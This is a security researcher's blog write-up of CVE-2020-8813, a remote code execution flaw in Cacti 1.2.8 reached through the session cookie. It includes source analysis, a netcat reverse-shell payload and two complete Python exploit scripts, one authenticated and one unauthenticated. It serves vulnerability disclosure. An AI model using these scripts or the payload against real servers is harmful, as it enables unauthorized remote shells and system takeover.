__ Search for: Search
Skip to content
[ Shells.Systems ](https://shells.systems/)
WE POP SHELLS
# Cacti v1.2.8 authenticated Remote Code Execution (CVE-2020-8813)
Posted on 2020-02-212020-02-21 by
[Askar](https://shells.systems/author/askar/)

Estimated Reading Time: 8 minutes
#### Summary about Cacti
Cacti is a complete network graphing solution designed to harness the power of
RRDTool's data storage and graphing functionality, Cacti provides a fast
poller, advanced graph templating, multiple data acquisition methods, and user
management features out of the box. All of this is wrapped in an intuitive,
easy to use interface that makes sense for LAN-sized installations up to
complex networks with thousands of devices.
#### About the exploit
I found this vulnerability by analyzing the code of multiple functions inside
Cacti main code, I have to connect multiple factors together to get code
execution works, the vulnerability mainly occurs when the attacker try to
inject malicious code in the "Cacti" cookie variable which will be passed to
shell_exec function after being concatenated with some strings, but I got a
problem with authentication when I tried to manipulate the cookie value which
will deny me from accessing the page, so to solve that I noticed that the
vulnerable page could be accessed as a "Guest" which requires no
authentication to access it, so I chained my exploit to enable the "Guest"
view for the page "graph_realtime.php" and then make the malicious request in
order to gain code execution on the host.
To get that work, First I need to send a request to "user_admin.php" page to
enable the realtime_graph "Guest" privilege then again send the malicious
request to "graph_realtime.php" page.
So, I started as usual with my [super simple RCE
scanner](https://github.com/mhaskar/RCEScanner) script to hunt for a RCE in
Cacti.
After running the script, I got an interesting result in "graph_realtime.php"
file:
```
/* call poller */
$graph_rrd = read_config_option('realtime_cache_path') . '/user_' . session_id() . '_lgi_' . get_request_var('local_graph_id') . '.png';
$command = read_config_option('path_php_binary');
$args = sprintf('poller_realtime.php --graph=%s --interval=%d --poller_id=' . session_id(), get_request_var('local_graph_id'), $graph_data_array['ds_step']);
shell_exec("$command $args");
/* construct the image name */
$graph_data_array['export_realtime'] = $graph_rrd;
$graph_data_array['output_flag'] = RRDTOOL_OUTPUT_GRAPH_DATA;
$null_param = array();
```
As we can see from line numbers 170 and 171 that we are receiving couple of
arguments and concatenate them together, also we can see that there is a
function called "get_request_var" which do the following:
```
function get_request_var($name, $default = '') {
global $_CACTI_REQUEST;
$log_validation = read_config_option('log_validation');
if (isset($_CACTI_REQUEST[$name])) {
return $_CACTI_REQUEST[$name];
} elseif (isset_request_var($name)) {
if ($log_validation == 'on') {
html_log_input_error($name);
}
set_request_var($name, $_REQUEST[$name]);
return $_REQUEST[$name];
} else {
return $default;
}
}
```
And as we can see this function will just handle the input and set the value
of the parameter via the function "set_request_var" which do the following:
```
function set_request_var($variable, $value) {
global $_CACTI_REQUEST;
$_CACTI_REQUEST[$variable] = $value;
$_REQUEST[$variable] = $value;
$_POST[$variable] = $value;
$_GET[$variable] = $value;
}
```
`
So, back to our "graph_realtime.php" we can see that we can control couple of
inputs which are:
- local_graph_id
- The value of $graph_data_array['ds_step']
But unfortunately, we can't do that for several reasons, first of all we can
notice that the line #171 in graph_realtime.php file use sprintf to handle the
input, and we can see that the first value "graph" filled with the value
"local_graph_id" which we can control! but unfortunately again, this value
will be filtered by a function called "get_filter_request_var" and we can see
that the value it's already filtered in graph_realtime.php line #38 like the
following:
```
function get_filter_request_var($name, $filter = FILTER_VALIDATE_INT, $options = array()) {
if (isset_request_var($name)) {
if (isempty_request_var($name)) {
set_request_var($name, get_nfilter_request_var($name));
return get_request_var($name);
} elseif (get_nfilter_request_var($name) == 'undefined') {
if (isset($options['default'])) {
set_request_var($name, $options['default']);
return $options['default'];
} else {
set_request_var($name, '');
return '';
}
} else {
if (get_nfilter_request_var($name) == '0') {
$value = '0';
} elseif (get_nfilter_request_var($name) == 'undefined') {
if (isset($options['default'])) {
$value = $options['default'];
} else {
$value = '';
}
} elseif (isempty_request_var($name)) {
$value = '';
} elseif ($filter == FILTER_VALIDATE_IS_REGEX) {
if (is_base64_encoded($_REQUEST[$name])) {
$_REQUEST[$name] = utf8_decode(base64_decode($_REQUEST[$name]));
}
$valid = validate_is_regex($_REQUEST[$name]);
if ($valid === true) {
$value = $_REQUEST[$name];
} else {
$value = false;
$custom_error = $valid;
}
} elseif ($filter == FILTER_VALIDATE_IS_NUMERIC_ARRAY) {
$valid = true;
if (is_array($_REQUEST[$name])) {
foreach($_REQUEST[$name] AS $number) {
if (!is_numeric($number)) {
$valid = false;
break;
}
}
} else {
$valid = false;
}
if ($valid == true) {
$value = $_REQUEST[$name];
} else {
$value = false;
}
} elseif ($filter == FILTER_VALIDATE_IS_NUMERIC_LIST) {
$valid = true;
$values = preg_split('/,/', $_REQUEST[$name], NULL, PREG_SPLIT_NO_EMPTY);
foreach($values AS $number) {
if (!is_numeric($number)) {
$valid = false;
break;
}
}
if ($valid == true) {
$value = $_REQUEST[$name];
} else {
$value = false;
}
} elseif (!cacti_sizeof($options)) {
$value = filter_var($_REQUEST[$name], $filter);
} else {
$value = filter_var($_REQUEST[$name], $filter, $options);
}
}
if ($value === false) {
if ($filter == FILTER_VALIDATE_IS_REGEX) {
$_SESSION['custom_error'] = __('The search term "%s" is not valid. Error is %s', html_escape(get_nfilter_request_var($name)), html_escape($custom_error));
set_request_var($name, '');
raise_message('custom_error');
} else {
die_html_input_error($name, get_nfilter_request_var($name));
}
} else {
set_request_var($name, $value);
return $value;
}
} else {
if (isset($options['default'])) {
set_request_var($name, $options['default']);
return $options['default'];
} else {
return;
}
}
}
```
This function will filter the input and return a clean variable to be passed
to the function.
And also for the second variable "$graph_data_array['ds_step']" it already
handled via sprintf as %d which means "decimal value" so we can't use it to
inject our malicious command.
So how we can get this thing works ? let's take a look again into the code:
```
/* call poller */
$graph_rrd = read_config_option('realtime_cache_path') . '/user_' . session_id() . '_lgi_' . get_request_var('local_graph_id') . '.png';
$command = read_config_option('path_php_binary');
$args = sprintf('poller_realtime.php --graph=%s --interval=%d --poller_id=' . session_id(), get_request_var('local_graph_id'), $graph_data_array['ds_step']);
shell_exec("$command $args");
/* construct the image name */
$graph_data_array['export_realtime'] = $graph_rrd;
$graph_data_array['output_flag'] = RRDTOOL_OUTPUT_GRAPH_DATA;
$null_param = array();
```
We get another variable passed to shell_exec which is the value of
"session_id()" function, this function will return the value of the current
session of the user which means that we can use it to inject our command!
But wait! if we manipulated the session we will not be able to access the page
since this page require from the user to be authenticated to access it, So
after some additional digging in the software, I found that we can access the
page as a guest if we enabled a special privilege called "Realtime Graphs" and
we can see from this page:

Let try to access this page without having the "Guest Realtime Graphs"
privilege enable:

As we can see, we cannot access the page due to permission issues, not lets
try to enable it and access the page to get the following:

Perfect we accessed the page, now I will send a request to
"graph_realtime.php" and will ad a debugging statement that will echo the
argument that will be passed to shell_exec:


As we can see, we got our session printed out to us, so lets try to inject
custom string into the session and see what will happen:

Great! we got it injected without problems!
#### Payload writing
After controlling the session value, we need to use it to gain a code
execution on the system, but this still a session value which means we cannot
use some characters inside it even if we encode it, so we need to write a
"session friendly" payload that we can inject without forcing the app to
generate for us another cookie value.
For example, if I encoded the string "Hi Payload" and passed it to the
application, I will get the following:


As we can see, the application set a cookie for us instead of the one that we
injected, so to solve that we need to use a custom payload.
So to avoid using spaces, I got an idea to use "${IFS}" bash variable which
represent a space.
And of course we need to escape the command using ";" to be like the
following:
```
;payload
```
And if we want to use netcat to gain a shell, we need to create the following
payload:
```
;nc${IFS}-e${IFS}/bin/bash${IFS}ip${IFS}port
```
Lets try that and see the results by encoding the payload first:

And then send it to the application to get the following:

Perfect! Our payload worked and we popped a shell!
#### Exploit Writing
To automate the exploitation process, I wrote a python code to exploit the
vulnerability, The exploit will handle the login process to enable the "Guest
Realtime Graphs" privilege, then will generate the payload an send the crafted
request to "graph_realtime.php" page in order to gain a reverse shell.
Here is the full exploit code:
```
#!/usr/bin/python3
# Exploit Title: Cacti v1.2.8 Remote Code Execution
# Date: 03/02/2020
# Exploit Author: Askar (@mohammadaskar2)
# CVE: CVE-2020-8813
# Vendor Homepage: https://cacti.net/
# Version: v1.2.8
# Tested on: CentOS 7.3 / PHP 7.1.33
import requests
import sys
import warnings
from bs4 import BeautifulSoup
from urllib.parse import quote
warnings.filterwarnings("ignore", category=UserWarning, module='bs4')
```
```
if len(sys.argv) != 6:
print("[~] Usage : ./Cacti-exploit.py url username password ip port")
exit()
url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
ip = sys.argv[4]
port = sys.argv[5]
def login(token):
login_info = {
"login_username": username,
"login_password": password,
"action": "login",
"__csrf_magic": token
}
login_request = request.post(url+"/index.php", login_info)
login_text = login_request.text
if "Invalid User Name/Password Please Retype" in login_text:
return False
else:
return True
def enable_guest(token):
request_info = {
"id": "3",
"section25": "on",
"section7": "on",
"tab": "realms",
"save_component_realm_perms": 1,
"action": "save",
"__csrf_magic": token
}
enable_request = request.post(url+"/user_admin.php?header=false", request_info)
if enable_request:
return True
else:
return False
def send_exploit():
payload = ";nc${IFS}-e${IFS}/bin/bash${IFS}%s${IFS}%s" % (ip, port)
cookies = {'Cacti': quote(payload)}
requests.get(url+"/graph_realtime.php?action=init", cookies=cookies)
request = requests.session()
print("[+]Retrieving login CSRF token")
page = request.get(url+"/index.php")
html_content = page.text
soup = BeautifulSoup(html_content, "html5lib")
token = soup.findAll('input')[0].get("value")
if token:
print("[+]Token Found : %s" % token)
print("[+]Sending creds ..")
login_status = login(token)
if login_status:
print("[+]Successfully LoggedIn")
print("[+]Retrieving CSRF token ..")
page = request.get(url+"/user_admin.php?action=user_edit&id=3&tab=realms")
html_content = page.text
soup = BeautifulSoup(html_content, "html5lib")
token = soup.findAll('input')[1].get("value")
if token:
print("[+]Making some noise ..")
guest_realtime = enable_guest(token)
if guest_realtime:
print("[+]Sending malicous request, check your nc ;)")
send_exploit()
else:
print("[-]Error while activating the malicous account")
else:
print("[-] Unable to retrieve CSRF token from admin page!")
exit()
else:
print("[-]Cannot Login!")
else:
print("[-] Unable to retrieve CSRF token!")
exit()
```
And after running the exploit code, we will get the following:

We popped a shell again!
## Unauthenticated exploit
This vulnerability could be exploited without authentication if Cacti is
enabling "Guest Realtime Graphs" privilege, So in this case no need for the
authentication part and you can just use the following code to exploit the
vulnerability:
```
#!/usr/bin/python3
# Exploit Title: Cacti v1.2.8 Unauthenticated Remote Code Execution
# Date: 03/02/2020
# Exploit Author: Askar (@mohammadaskar2)
# CVE: CVE-2020-8813
# Vendor Homepage: https://cacti.net/
# Version: v1.2.8
# Tested on: CentOS 7.3 / PHP 7.1.33
import requests
import sys
import warnings
from bs4 import BeautifulSoup
from urllib.parse import quote
warnings.filterwarnings("ignore", category=UserWarning, module='bs4')
```
```
if len(sys.argv) != 4:
print("[~] Usage : ./Cacti-exploit.py url ip port")
exit()
url = sys.argv[1]
ip = sys.argv[2]
port = sys.argv[3]
def send_exploit(url):
payload = ";nc${IFS}-e${IFS}/bin/bash${IFS}%s${IFS}%s" % (ip, port)
cookies = {'Cacti': quote(payload)}
path = url+"/graph_realtime.php?action=init"
req = requests.get(path)
if req.status_code == 200 and "poller_realtime.php" in req.text:
print("[+] File Found and Guest is enabled!")
print("[+] Sending malicous request, check your nc ;)")
requests.get(path, cookies=cookies)
else:
print("[+] Error while requesting the file!")
send_exploit(url)
```
Cacti PreAuth exploit
As we can see we can also exploit it without problems if we have "Gest
Realtime Graphs" privilege enable, so it's good to check if
"graph_realtime.php" file has this access privilege or not.
> In php7.2 and higher the exploit may not work as expected because php will
> strip any special characters from the cookie value including the one we used
> before
>
> Exploitation Note
#### vulnerability disclosure
I already sent the vulnerability details and a full POC to Cacti team, they
fixed the vulnerability and issued a patch for it, and you can expect the
version 1.2.10 by end of this month.
暂无评论